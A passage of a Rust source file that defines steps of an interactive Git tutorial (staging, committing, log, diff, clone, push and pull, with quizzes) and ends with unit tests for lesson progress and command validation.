1683 "Stages all changes in the current directory and subdirectories".to_string(),
1684 "Deletes all unstaged files".to_string(),
1685 "Pushes changes to remote repository".to_string(),
1686 ],
1687 correct_index: 1,
1688 explanation: "Correct! 'git add .' stages all new, modified, and deleted files in the current directory and all subdirectories. The dot (.) means 'current directory and everything under it'. This DOES NOT commit anything yet - you still need 'git commit' to save the snapshot. It's like putting documents in a box before mailing them.".to_string(),
1689 },
1690 },
1691 LessonStep {
1692 step_number: 7,
1693 title: "Committing Changes".to_string(),
1694 instruction: "".to_string(),
1695 hint: None,
1696 step_type: StepType::Information {
1697 content: "'git commit' saves a snapshot of staged changes.\n\nBasic usage:\n git commit -m \"Commit message\"\n git commit -m \"Add user login feature\"\n\nLonger messages:\n git commit\n # Opens editor for multi-line message\n # First line: summary (50 chars or less)\n # Blank line\n # Detailed explanation\n\nCommit message best practices:\n ✓ Use present tense: \"Add feature\" not \"Added feature\"\n ✓ Be specific: \"Fix login validation bug\" not \"Fix bug\"\n ✓ Keep first line under 50 characters\n ✓ Explain WHY, not just WHAT\n\nGood examples:\n \"Add password reset functionality\"\n \"Fix memory leak in image processor\"\n \"Update dependencies to patch security issue\"\n\nBad examples:\n \"stuff\" \"wip\" \"fixed it\" \"asdfasdf\" \"changes\"\n\nUseful flags:\n git commit -m \"message\" Quick commit\n git commit -a -m \"msg\" Stage + commit modified files (not new files)\n git commit --amend Fix last commit message".to_string(),
1698 },
1699 },
1700 LessonStep {
1701 step_number: 8,
1702 title: "Viewing Commit History".to_string(),
1703 instruction: "The 'git log' command shows commit history. Try it: git log".to_string(),
1704 hint: Some("Type: git log (press 'q' to exit)".to_string()),
1705 step_type: StepType::CommandExercise {
1706 expected_command: "git log".to_string(),
1707 validation: CommandValidation::CommandOnly,
1708 success_message: "Great! git log shows:\n • Commit hash (unique ID)\n • Author\n • Date\n • Commit message\n\nUseful variations:\n git log --oneline Compact view\n git log --graph Show branch graph\n git log -n 5 Last 5 commits\n git log --author='Alice' Commits by Alice\n git log file.txt History of specific file".to_string(),
1709 },
1710 },
1711 LessonStep {
1712 step_number: 9,
1713 title: "Viewing Changes with git diff".to_string(),
1714 instruction: "".to_string(),
1715 hint: None,
1716 step_type: StepType::Information {
1717 content: "'git diff' shows what changed.\n\nUsage:\n git diff Changes not yet staged\n git diff --staged Changes that are staged\n git diff HEAD All changes (staged + unstaged)\n git diff branch1 branch2 Compare branches\n git diff commit1 commit2 Compare commits\n git diff file.txt Changes in specific file\n\nReading diff output:\n --- a/file.txt Original file\n +++ b/file.txt Modified file\n @@ -10,7 +10,7 @@ Line numbers\n -old line Line removed (red)\n +new line Line added (green)\n unchanged Context line\n\nPractical uses:\n • Before staging: Review what you're about to add\n • Before committing: Double-check staged changes\n • Code review: See what changed in a commit\n • Debugging: When did this line change?\n\nWorkflow:\n # Make changes\n git diff # Review changes\n git add file.txt\n git diff --staged # Review what's staged\n git commit -m \"msg\"".to_string(),
1718 },
1719 },
1720 LessonStep {
1721 step_number: 10,
1722 title: "Cloning Repositories".to_string(),
1723 instruction: "".to_string(),
1724 hint: None,
1725 step_type: StepType::Information {
1726 content: "'git clone' downloads a repository.\n\nUsage:\n git clone https://github.com/user/repo.git\n git clone https://github.com/user/repo.git my-folder\n git clone git@github.com:user/repo.git (SSH)\n\nWhat happens:\n 1. Creates a new folder with repo name\n 2. Downloads all files and history\n 3. Sets up remote connection to origin\n 4. Checks out the default branch (usually 'main')\n\nExamples:\n git clone https://github.com/torvalds/linux.git\n git clone https://github.com/microsoft/vscode.git\n\nAfter cloning:\n cd repo-name\n git status # Check status\n git log # See history\n git remote -v # See remote URLs\n\nHTTPS vs SSH:\n • HTTPS: Easy setup, requires password/token each time\n • SSH: Requires setup, but no password needed\n\nWhere to clone from?\n • GitHub (most popular)\n • GitLab\n • Bitbucket\n • Self-hosted servers".to_string(),
1727 },
1728 },
1729 LessonStep {
1730 step_number: 11,
1731 title: "Pushing and Pulling Changes".to_string(),
1732 instruction: "".to_string(),
1733 hint: None,
1734 step_type: StepType::Information {
1735 content: "Syncing with remote repositories:\n\ngit push - Upload your commits:\n git push Push current branch\n git push origin main Push 'main' to 'origin'\n git push -u origin branch Set upstream and push\n\ngit pull - Download and merge changes:\n git pull Pull current branch\n git pull origin main Pull from specific branch\n\nWorkflow:\n # Make changes locally\n git add .\n git commit -m \"Add feature\"\n git pull # Get latest changes from team\n git push # Upload your changes\n\nIMPORTANT:\n • Always pull before push (get latest changes first)\n • Pull before starting work each day\n • Push frequently (don't hoard commits)\n\nHandling conflicts:\n # If pull shows conflicts\n git status # See conflicting files\n # Edit files to resolve conflicts\n git add .\n git commit -m \"Merge conflicts\"\n git push\n\nOrigin:\n 'origin' is the default name for the remote repository\n git remote -v shows all remotes".to_string(),
1736 },
1737 },
1738 LessonStep {
1739 step_number: 12,
1740 title: "Quiz: Git Workflow".to_string(),
1741 instruction: "".to_string(),
1742 hint: None,
1743 step_type: StepType::MultipleChoice {
1744 question: "What's the correct order to save and upload changes?".to_string(),
1745 options: vec![
1746 "git commit → git add → git push".to_string(),
1747 "git add → git commit → git push".to_string(),
1748 "git push → git commit → git add".to_string(),
1749 "git add → git push → git commit".to_string(),
1750 ],
1751 correct_index: 1,
1752 explanation: "Correct! The workflow is:\n 1. git add (stage changes)\n 2. git commit (save snapshot locally)\n 3. git push (upload to remote)\n\nThink of it as:\n 1. Pack the box (add)\n 2. Seal and label the box (commit)\n 3. Mail the box (push)\n\nYou can't commit unstaged changes, and you can't push uncommitted changes!".to_string(),
1753 },
1754 },
1755 LessonStep {
1756 step_number: 13,
1757 title: "Essential Git Commands Summary".to_string(),
1758 instruction: "".to_string(),
1759 hint: None,
1760 step_type: StepType::Information {
1761 content: "Git command quick reference:\n\nSetup:\n git init Create new repository\n git clone url Download repository\n\nBasic workflow:\n git status Check status (run often!)\n git add file Stage file\n git add . Stage all changes\n git commit -m \"msg\" Save snapshot\n git push Upload to remote\n git pull Download from remote\n\nViewing:\n git log Commit history\n git log --oneline Compact history\n git diff Unstaged changes\n git diff --staged Staged changes\n\nConfiguration:\n git config --global user.name \"Your Name\"\n git config --global user.email \"you@example.com\"\n\nHelp:\n git help command Detailed help\n git command --help Same as above\n\nDaily workflow:\n 1. git pull (get latest)\n 2. Make changes\n 3. git status (check changes)\n 4. git add . (stage)\n 5. git commit -m \"\" (save)\n 6. git push (upload)".to_string(),
1762 },
1763 },
1764 LessonStep {
1765 step_number: 14,
1766 title: "Completion: Git Fundamentals Mastered!".to_string(),
1767 instruction: "".to_string(),
1768 hint: None,
1769 step_type: StepType::Information {
1770 content: "Congratulations! You've learned Git fundamentals!\n\nKey concepts mastered:\n • Repository: Version-tracked project\n • Commit: Snapshot of your code\n • Staging: Selecting changes to commit\n • Remote: Server hosting your code\n\nEssential commands:\n git init Start new repo\n git clone url Copy existing repo\n git status Check status\n git add . Stage changes\n git commit -m \"msg\" Save snapshot\n git log View history\n git diff See changes\n git push Upload commits\n git pull Download commits\n\nGit workflow:\n 1. Make changes\n 2. git add (stage)\n 3. git commit (save)\n 4. git push (share)\n\nBest practices:\n ✓ Commit often with clear messages\n ✓ Pull before push\n ✓ Run git status frequently\n ✓ Review changes with git diff\n ✓ Write meaningful commit messages\n\nNext steps:\n • Learn branching and merging\n • Explore GitHub/GitLab\n • Practice with real projects\n • Learn .gitignore\n\nYou're ready to version control like a pro!".to_string(),
1771 },
1772 },
1773 ],
1774 }
1775}
1776
1777#[cfg(test)]
1778mod tests {
1779 use super::*;
1780
1781 #[test]
1782 fn test_lesson_progress_new() {
1783 let progress = LessonProgress::new("test-lesson".to_string());
1784 assert_eq!(progress.lesson_id, "test-lesson");
1785 assert_eq!(progress.current_step, 1);
1786 assert!(!progress.is_completed());
1787 }
1788
1789 #[test]
1790 fn test_lesson_progress_completion() {
1791 let mut progress = LessonProgress::new("test-lesson".to_string());
1792 progress.complete_step(1);
1793 progress.complete_step(2);
1794 progress.complete_step(3);
1795
1796 assert_eq!(progress.completion_percentage(3), 100.0);
1797 assert_eq!(progress.completion_percentage(6), 50.0);
1798 }
1799
1800 #[test]
1801 fn test_command_validation_exact() {
1802 let validator = LessonValidator::new();
1803 let result = validator.validate_command(
1804 "ls -la",
1805 "ls -la",
1806 &CommandValidation::Exact,
1807 );
1808 assert!(result.is_success());
1809
1810 let result = validator.validate_command(
1811 "ls -l",
1812 "ls -la",
1813 &CommandValidation::Exact,
1814 );
1815 assert!(!result.is_success());
1816 }
1817
1818 #[test]
1819 fn test_command_validation_command_only() {
1820 let validator = LessonValidator::new();
1821 let result = validator.validate_command(
1822 "ls -la /home",
1823 "ls",
1824 &CommandValidation::CommandOnly,
1825 );
1826 assert!(result.is_success());
1827 }
1828}